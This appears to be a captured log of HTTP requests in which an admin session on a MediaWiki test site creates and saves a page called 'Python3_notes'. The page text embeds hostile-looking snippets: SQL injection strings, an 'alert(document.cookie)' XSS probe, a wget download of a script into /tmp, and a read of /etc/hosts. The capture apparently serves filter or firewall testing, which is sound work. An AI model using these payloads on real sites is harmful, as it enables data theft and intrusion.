{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1eacc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:MIMESearch&mime=image%2Fpng", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=Li&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=Lighthouse&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1671", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=52f141f04963c493bdb6c4af9cc78baa6af22676%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 319", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=52f141f04963c493bdb6c4af9cc78baa6af22676%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3218", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz0k8CAH1ZI6cQBLB", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n52f141f04963c493bdb6c4af9cc78baa6af22676+\\\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1722", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3326", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNQNQnbmS4ZVnKScr", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n52f141f04963c493bdb6c4af9cc78baa6af22676+\\\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr--\r\n"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3320", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykls0Dipt2ipQMyNX", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n3d2253a69b15a92037b2054ed89260316af22677+\\\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX--\r\n"}
{"method": "GET", "target": "/wiki/Python3_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision6=created; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 286", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=6&text=%3D%3D+Install+%3D%3D%0ARun+python3+and+ls+-la.%0A&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
